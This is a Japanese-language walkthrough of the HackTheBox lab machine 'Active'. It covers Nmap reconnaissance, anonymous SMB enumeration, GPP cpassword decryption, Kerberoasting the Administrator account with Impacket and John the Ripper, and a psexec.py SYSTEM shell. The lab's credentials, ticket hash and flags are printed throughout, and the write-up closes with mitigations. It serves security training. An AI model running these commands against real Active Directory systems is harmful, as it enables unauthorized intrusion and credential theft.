HackTheBox — Active Writeup
難易度: Easy
OS: Windows Server 2008 R2 SP1
カテゴリ: Active Directory, SMB, GPP, Kerberoasting
学習テーマ: GPP パスワード漏洩, Kerberoasting, Pass-the-Password
目次
- マシン概要
- 偵察 (Reconnaissance)
- SMB 匿名列挙と GPP パスワード漏洩
- 初期侵入 (Initial Foothold)
- 権限昇格 (Privilege Escalation)
- まとめと学習ポイント
- 参照文献
マシン概要
Active は Active Directory と Group Policy Preferences (GPP) の古典的な脆弱性を題材にした Windows マシンです。
匿名で読み取れる SMB 共有に残された Groups.xml から暗号化済みパスワード (cpassword) を取得し、Microsoft が公開している固定鍵で復号します。取得した SVC_TGS アカウントで BloodHound による権限分析を行い、Administrator アカウントが Kerberoasting 攻撃の対象であることを発見。TGS チケットをクラックして管理者権限を奪います。
| 項目 | 値 |
|---|---|
| IP アドレス | 10.129.37.218 |
| ドメイン名 | active.htb |
| ホスト名 | DC |
| OS | Windows Server 2008 R2 SP1 (Build 7601) |
偵察 (Reconnaissance)
Nmap — 基本スキャン
nmap -sS -sV -sC -Pn 10.129.37.218
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 08:37 +0000
Nmap scan report for 10.129.37.218
Host is up (0.25s latency).
Not shown: 982 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-02 08:38:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.1:
|_ Message signing enabled and required
|_clock-skew: -6s
| smb2-time:
| date: 2026-05-02T08:39:09
|_ start_date: 2026-05-02T08:36:40
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.66 seconds
Nmap — 全ポートスキャン
nmap -T4 -sV -A -p- 10.129.37.218
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 08:37 +0000
Nmap scan report for 10.129.37.218
Host is up (0.25s latency).
Not shown: 65512 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-02 08:47:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open tcpwrapped
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
49169/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/2%OT=53%CT=1%CU=40559%PV=Y%DS=2%DC=T%G=Y%TM=69F5BA70
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=7
OS:)SEQ(SP=103%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=104%GCD=1%ISR=
OS:108%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=107%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=
OS:S%TS=7)SEQ(SP=107%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=7)OPS(O1=M552NW8S
OS:T11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552
OS:ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=
OS:80%W=2000%O=M552NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2
OS:(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q
OS:=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G
OS:)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -6s
| smb2-security-mode:
| 2.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-05-02T08:48:26
|_ start_date: 2026-05-02T08:36:40
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 248.89 ms 10.10.14.1
2 249.21 ms 10.129.37.218
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 652.19 seconds
Nmap — SMB 脆弱性スキャン
既知の SMB 脆弱性(EternalBlue 等)が使えないかを確認します。
nmap --script smb-vuln* -p 135,139,445 10.129.37.218
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 08:37 +0000
Nmap scan report for 10.129.37.218
Host is up (0.25s latency).
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds
偵察結果の考察
Nmap の結果から、このマシンが Active Directory ドメインコントローラーであることが確定します。
| ポート | サービス | 判断根拠 |
|---|---|---|
| 53 | DNS | AD の名前解決。/etc/hosts に active.htb を追記する必要あり |
| 88 | Kerberos | AD の認証基盤。DC 確定の証拠。Kerberos 攻撃(ASREPRoasting・Kerberoasting)の余地を調査する |
| 389 / 3268 | LDAP / GC | ドメインオブジェクトの格納先。LDAP が返すドメイン名は active.htb
|
| 445 | SMB | 匿名(NULL)セッションが許可されているかを最初に確認すべき。共有の読み取りが可能なら GPO ファイルなどの機密情報が漏洩している可能性がある |
| 9389 | AD Web Services | PowerShell AD モジュールが使用するポート |
SMB 脆弱性スキャンの結果から
EternalBlue (MS17-010) などの既知の RCE 脆弱性は確認されませんでした。これは「パッチが当たっている」か「SMBv1 が無効」である可能性を示します。したがって既知 exploit による直接 RCE ではなく、設定不備・情報漏洩の観点から攻撃を進める方針に切り替えます。
/etc/hosts に以下を追記します。
10.129.37.218 active.htb dc.active.htb
SMB 匿名列挙と GPP パスワード漏洩
NetExec による匿名共有列挙
認証なし(NULL セッション)で SMB 共有を列挙します [1]。
netexec smb 10.129.37.218 -u '' -p '' --shares
SMB 10.129.37.218 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.37.218 445 DC [+] active.htb\:
SMB 10.129.37.218 445 DC [*] Enumerated shares
SMB 10.129.37.218 445 DC Share Permissions Remark
SMB 10.129.37.218 445 DC ----- ----------- ------
SMB 10.129.37.218 445 DC ADMIN$ Remote Admin
SMB 10.129.37.218 445 DC C$ Default share
SMB 10.129.37.218 445 DC IPC$ Remote IPC
SMB 10.129.37.218 445 DC NETLOGON Logon server share
SMB 10.129.37.218 445 DC Replication READ
SMB 10.129.37.218 445 DC SYSVOL Logon server share
SMB 10.129.37.218 445 DC Users
列挙結果から読み取れること
Null Auth: True→ 匿名セッションが許可されています。これは Windows Server 2008 R2 以前の古いデフォルト設定の名残です。Replication共有が READ 権限で匿名アクセス可能です。ReplicationはSYSVOLのレプリカとして使われることが多く、Group Policy 関連ファイルが含まれている可能性があります。SYSVOLには GPO ファイルが格納されており、過去にGroups.xmlにパスワードが平文(AES 暗号化)で保存されていた事例(CVE-2014-1812)が広く知られています [2]。
Replication 共有の全ファイルダウンロード
Replication 共有に接続し、全ファイルを再帰的に取得します。
smbclient //10.129.37.218/Replication -L
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Jul 21 10:37:44 2018
.. D 0 Sat Jul 21 10:37:44 2018
active.htb D 0 Sat Jul 21 10:37:44 2018
5217023 blocks of size 4096. 266739 blocks available
smb: \> get active.htb
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \active.htb
smb: \> cd active.htb\
smb: \active.htb\> dir
. D 0 Sat Jul 21 10:37:44 2018
.. D 0 Sat Jul 21 10:37:44 2018
DfsrPrivate DHS 0 Sat Jul 21 10:37:44 2018
Policies D 0 Sat Jul 21 10:37:44 2018
scripts D 0 Wed Jul 18 18:48:57 2018
5217023 blocks of size 4096. 261523 blocks available
smb: \active.htb\> recurse on
smb: \active.htb\> prompt off
smb: \active.htb\> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI (0.1 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol (1.4 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (1.0 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (3.6 KiloBytes/sec) (average 1.0 KiloBytes/sec)
smb: \active.htb\> exit
ダウンロードしたファイルの中で最重要なのは
Groups.xml
Policies/{GUID}/MACHINE/Preferences/Groups/Groups.xmlというパスは、グループポリシーの「ユーザー設定 (Group Policy Preferences)」でローカルグループやローカルアカウントを管理する際に生成されるファイルです。このファイルにはアカウント名とともにcpasswordという属性が含まれることがあります。
Groups.xml の内容確認
cd Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups
ls
Groups.xml
cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
GPP cpassword の仕組みと脆弱性 (CVE-2014-1812) [2]
Group Policy Preferences (GPP) は Windows Server 2008 で導入された機能で、グループポリシー経由でローカルアカウントのパスワードを配布できます。しかし、このパスワードは AES-256 で暗号化されてから
cpassword属性として XML に保存されます。問題は、その暗号化鍵が Microsoft のドキュメントに公開されてしまっていたことです。つまり
cpasswordを取得した攻撃者は誰でも平文に復号できます。Microsoft は 2014 年にパッチ (MS14-025) を公開しましたが、既存の Groups.xml に保存済みの cpassword は削除されません。そのため、古い環境では今でも有効な攻撃手法です。
gpp-decrypt による cpassword の復号
gpp-decrypt ツールを使い、公開鍵で cpassword を即座に復号します [2]。
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18
✅ 取得したクレデンシャル: active.htb\SVC_TGS : GPPstillStandingStrong2k18
初期侵入 (Initial Foothold)
svc_tgs 権限での SMB 確認
取得したクレデンシャルで SMB 共有へのアクセス範囲が広がるかを確認します。
netexec smb 10.129.37.218 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --shares
SMB 10.129.37.218 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.37.218 445 DC [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
SMB 10.129.37.218 445 DC [*] Enumerated shares
SMB 10.129.37.218 445 DC Share Permissions Remark
SMB 10.129.37.218 445 DC ----- ----------- ------
SMB 10.129.37.218 445 DC ADMIN$ Remote Admin
SMB 10.129.37.218 445 DC C$ Default share
SMB 10.129.37.218 445 DC IPC$ Remote IPC
SMB 10.129.37.218 445 DC NETLOGON READ Logon server share
SMB 10.129.37.218 445 DC Replication READ
SMB 10.129.37.218 445 DC SYSVOL READ Logon server share
SMB 10.129.37.218 445 DC Users READ
アクセス権の変化
匿名セッションと比べ、svc_tgsではNETLOGON・SYSVOL・Users共有への読み取りアクセスが追加されました。Users共有には各ユーザーのプロファイルフォルダが含まれており、user.txtの取得が期待できます。
ただしADMIN$やC$は依然としてアクセス不可です。svc_tgsは 一般ドメインユーザーに過ぎないことが確認でき、ここからさらなる権限昇格が必要です。
Users 共有から user.txt の取得
smbclient //10.129.37.218/Users -U 'svc_tgs%GPPstillStandingStrong2k18'
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Sat Jul 21 14:39:20 2018
.. DR 0 Sat Jul 21 14:39:20 2018
Administrator D 0 Mon Jul 16 10:14:21 2018
All Users DHSrn 0 Tue Jul 14 05:06:44 2009
Default DHR 0 Tue Jul 14 06:38:21 2009
Default User DHSrn 0 Tue Jul 14 05:06:44 2009
desktop.ini AHS 174 Tue Jul 14 04:57:55 2009
Public DR 0 Tue Jul 14 04:57:55 2009
SVC_TGS D 0 Sat Jul 21 15:16:32 2018
5217023 blocks of size 4096. 284766 blocks available
smb: \> cd SVC_THS
cd \SVC_THS\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \> cd SVC_TGS
smb: \SVC_TGS\> dir
. D 0 Sat Jul 21 15:16:32 2018
.. D 0 Sat Jul 21 15:16:32 2018
Contacts D 0 Sat Jul 21 15:14:11 2018
Desktop D 0 Sat Jul 21 15:14:42 2018
Downloads D 0 Sat Jul 21 15:14:23 2018
Favorites D 0 Sat Jul 21 15:14:44 2018
Links D 0 Sat Jul 21 15:14:57 2018
My Documents D 0 Sat Jul 21 15:15:03 2018
My Music D 0 Sat Jul 21 15:15:32 2018
My Pictures D 0 Sat Jul 21 15:15:43 2018
My Videos D 0 Sat Jul 21 15:15:53 2018
Saved Games D 0 Sat Jul 21 15:16:12 2018
Searches D 0 Sat Jul 21 15:16:24 2018
5217023 blocks of size 4096. 284766 blocks available
smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> dir
. D 0 Sat Jul 21 15:14:42 2018
.. D 0 Sat Jul 21 15:14:42 2018
user.txt AR 34 Sat May 2 08:37:37 2026
5217023 blocks of size 4096. 284766 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \SVC_TGS\Desktop\> cd ../..
smb: \> dir
. DR 0 Sat Jul 21 14:39:20 2018
.. DR 0 Sat Jul 21 14:39:20 2018
Administrator D 0 Mon Jul 16 10:14:21 2018
All Users DHSrn 0 Tue Jul 14 05:06:44 2009
Default DHR 0 Tue Jul 14 06:38:21 2009
Default User DHSrn 0 Tue Jul 14 05:06:44 2009
desktop.ini AHS 174 Tue Jul 14 04:57:55 2009
Public DR 0 Tue Jul 14 04:57:55 2009
SVC_TGS D 0 Sat Jul 21 15:16:32 2018
5217023 blocks of size 4096. 284766 blocks available
smb: \> exit
cat user.txt
0a53eb464e60cad8ee5d77e9cc4d0079
🏁 user.txt 取得完了
権限昇格 (Privilege Escalation)
BloodHound による権限経路の分析
BloodHound とは
BloodHound は Active Directory 環境をグラフ理論で分析するツールです。ユーザー・グループ・コンピューター・GPO などのオブジェクトをノードとし、メンバーシップや ACL の関係をエッジとして表現し、低権限ユーザーから Domain Admin への最短経路を機械的に発見します [3]。
svc_tgs のクレデンシャルで AD 情報を収集します。
bloodhound-python -c All -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' -d active.htb -ns 10.129.37.218 -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: active.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.active.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.active.htb
INFO: Testing resolved hostname connectivity dead:beef::c1:e412:553:e7e1
INFO: Trying LDAP connection to dead:beef::c1:e412:553:e7e1
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.active.htb
INFO: Testing resolved hostname connectivity dead:beef::c1:e412:553:e7e1
INFO: Trying LDAP connection to dead:beef::c1:e412:553:e7e1
INFO: Found 5 users
INFO: Found 41 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.active.htb
INFO: Done in 00M 50S
INFO: Compressing output into 20260502090752_bloodhound.zip
BloodHound グラフの読み解き
BloodHound の GUI に zip を取り込み、"List all Kerberoastable Accounts" クエリを実行すると以下のグラフが表示されます。
BloodHound の結果から Kerberoasting 攻撃への思考プロセス
グラフを見ると、
Administratorアカウントに SPN (Service Principal Name) が設定されていることが確認できます。具体的にはactive/CIFS:445という SPN です。なぜ SPN の存在が重要なのか?
Kerberos 認証では、クライアントがサービスへアクセスする際に KDC(鍵配布センター)に対して「TGS(チケット許可サービス)チケット」を要求します。TGS チケットはそのサービスのアカウントのパスワードハッシュで暗号化されています。つまり、ドメインユーザーであれば誰でも任意の SPN に対する TGS チケットを要求でき、取得したチケットをオフラインでクラックすることでサービスアカウントのパスワードを入手できます。これが Kerberoasting 攻撃です [4]。なぜ
Administratorが Kerberoastable なのか?
通常、SPN はサービスアカウント(例:SVC_SQL)に設定されます。しかし、このマシンではAdministratorアカウント自身にactive/CIFS:445という SPN が設定されています。これは管理上の誤設定であり、ドメイン管理者アカウントのパスワードハッシュが Kerberoasting の対象になるという非常に重大な脆弱性です。
SVC_TGSというアカウント名も示唆的
アカウント名のTGSは "Ticket Granting Service" の略であり、このマシンが Kerberoasting を学ぶ意図で設計されていることを暗示しています。BloodHound のグラフと組み合わせることで、「SVC_TGSを使ってAdministratorの TGS チケットを取得し、クラックせよ」という攻撃経路が明確に浮かび上がります。
Kerberoasting — GetUserSPNs.py による TGS チケット取得
Impacket の GetUserSPNs.py を使い、Administrator の TGS チケットを取得します [5]。
python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.37.218 -request
Impacket v0.14.0.dev0+20260416.163315.5c681930 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 19:06:40.351723 2026-05-02 08:37:39.949341
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$b7f09db7480ac72b693cc01db71529ef$679f413969b6fee5ca2cd42931d4942d517ccadd900659d40552591af48fea3f16d206d7550b84a863284a2334816ca1d512d511cd60e6be4af7d288fbe57ddc51b839503639fa71ce9f3fe01517a64a34d9a6cffc01c466592d4efe7695bc31fcf362325a79351c34fcee4abd2e0c93cbd5607d61765baaa25c973410e54d6c50ecc0afba1dea648f7a55013af626ffa0ba8b0fd05b17fe8cd35bbd41f3606952d2a7b4e653550b4b7b6eead9c3a369de82844255d2ed2fda50eded1204975632251c1a40c9989c6019815bffd032aa6b70380b4f65673fa6db18676f87f0d8b2cbcedcf34b6e18161995fa0e50848c481db9bd1fa0f2b4e4e601a4f0022474f0c704813e212e48a6ae386dc441a65512e8e8771b5dcfe3d51d7967a5ac60d15743343ed88aac7e9bc6f3c28dd3929679b9689227f2b24cbb953537cb9dac36ad6611b4878ae0657d66d83499e64c566a46cd5afaf3ab76a0d40cab050a8f68015546141ff8e20ce0ef705c3d6aa4b1b732e54f4be45995492f2fd3cc00774440f42d6e1c5a51f1c76ae11cbe9cf8d88cee92c8c8bf53c0ec9b879ec303fc86fea8d2e3547d09be13420c991e1245af2a8caac6b7ce8c58cb8dcfffe9553e5a83249c094d3f221865525b436a171d3f19946a5f45c34608eef8072fc9a4434a2ab60f3b8df67c079a8eba70551251465b9c9298b38228d0cf5874eead428c296464978daed622aa134a6faf78394ef60f8934fb5a1eded5f501b304cb132aacbf11613ab31851078ad7492f520866ba0334db540e9e5de480a7e6926e66e50efd368422d1315f7145fb2dcec8ce8e106ea5fe92de76371395ed10984143427fe00aa5d6f2aa68b4e4b6d7478264614dd8673a4715e3b54d08d27b341fda4cda435f7b2260d7c97a442e6f0b45e936fcb7ab0f1d5898fa8e4b9f6218ab5fd7cb305607f7a650e16094b9273fa40f39663dec27df4be35945a5a1297ac45fe63e2529c7005db0b87860ac99e7b274550a2cd0232d6f0f09fa0932359697749abe0faec4ca9a73425339a40a4a61a4d46db5b6ac7e75c2943156a9581373cc93018c3beb61e8c072632bbf30596c3223e548eac534c170acf6d6af2608c95eaa05315c844833d3b57e55a0d6afa48a485955d67e83b4295eb465a86643a8bc23ec9a9c3d83a828a713fd94cdc61b01797842ee93e44030fd38d835f0c6c4a9d3dc028fa7223c9acdedfcc3701b7f2914d4700bf7d936f8aa9a0509
出力の読み方
$krb5tgs$23$*Administrator$ACTIVE.HTB$...という形式のハッシュが取得できました。23は RC4-HMAC (etype 23) を表しており、John the Ripper や Hashcat でクラック可能なハッシュ形式です。これを rockyou.txt などのワードリストでオフラインクラックします。
John the Ripper によるチケットのクラック
取得したハッシュを hash.txt として保存し、クラックします。
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
結果: Administrator のパスワードは Ticketmaster1968 と判明しました。
✅ 取得したクレデンシャル: active.htb\Administrator : Ticketmaster1968
psexec.py による Administrator ログインと root.txt 取得
python3 psexec.py administrator:Ticketmaster1968@active.htb
Impacket v0.14.0.dev0+20260416.163315.5c681930 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file BaScqZUy.exe
[*] Opening SVCManager on active.htb.....
[*] Creating service CmSR on active.htb.....
[*] Starting service CmSR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> cd ../..
C:\> cd Users\Administrator\Desktop
C:\Users\Administrator\Desktop> type root.txt
eab4576581b7ba1d480893104974b913
🏁 root.txt 取得完了 — マシン攻略!
まとめと学習ポイント
攻略チェーン全体図
[偵察]
Nmap → AD 環境 (DC) を特定 (Windows Server 2008 R2 SP1)
│ SMB 脆弱性スキャン → EternalBlue 等は使えない → 設定不備を狙う方針へ
▼
[SMB 匿名列挙]
netexec --shares → Replication 共有が匿名 READ 可能
│
▼
[GPP cpassword 漏洩 (CVE-2014-1812)]
smbclient → Replication 共有から全ファイルダウンロード
│ → Groups.xml に cpassword を発見
│ → gpp-decrypt → SVC_TGS : GPPstillStandingStrong2k18
▼
[初期侵入]
netexec → svc_tgs で Users 共有が READ 可能に
│ → smbclient で SVC_TGS\Desktop\user.txt 取得
▼
[情報収集]
bloodhound-python → AD グラフデータ収集
│
▼
[BloodHound 分析]
"List all Kerberoastable Accounts" クエリ
│ → Administrator に SPN (active/CIFS:445) が設定されている
│ → ドメイン管理者アカウント自体が Kerberoasting の標的 → 攻撃決定
▼
[Kerberoasting]
GetUserSPNs.py → Administrator の TGS チケット ($krb5tgs$23$) 取得
│ → John the Ripper → Ticketmaster1968
▼
[ドメイン制圧]
psexec.py Administrator:Ticketmaster1968@active.htb
│ → SYSTEM シェル → root.txt
脆弱性の根本原因と対策
| 攻撃手法 | 根本原因 | 対策 |
|---|---|---|
| SMB NULL セッション | 匿名アクセスが許可されたまま |
RestrictAnonymous = 2 を設定し、NULL セッションを無効化する |
| GPP cpassword 漏洩 (CVE-2014-1812) | Groups.xml に cpassword が残存している | MS14-025 を適用、既存の Groups.xml を手動で削除する。SYSVOL/Replication 共有の匿名アクセスを制限する |
| Kerberoasting |
Administrator に不要な SPN が設定されている |
管理者アカウントへの SPN 設定を削除する。サービスアカウントには Managed Service Account (MSA) を使用し、自動的に強力なパスワードを設定させる |
| 弱いサービスアカウントパスワード | クラック可能な辞書ワードを使用している | 25 文字以上のランダム文字列を使用する。MSA/gMSA を使えばパスワード管理が自動化される |
参照文献
[1] NetExec (nxc). "SMB Protocol Module." https://github.com/Pennyw0rth/NetExec
[2] MS14-025 / CVE-2014-1812. "Vulnerability in Group Policy Preferences Could Allow Elevation of Privilege." https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025
[3] BloodHoundAD. "BloodHound (Legacy)." https://github.com/BloodHoundAD/BloodHound
[4] Tim Medin. "Kerberoasting." https://attack.mitre.org/techniques/T1558/003/
[5] Fortra. "Impacket — GetUserSPNs.py." https://github.com/fortra/impacket
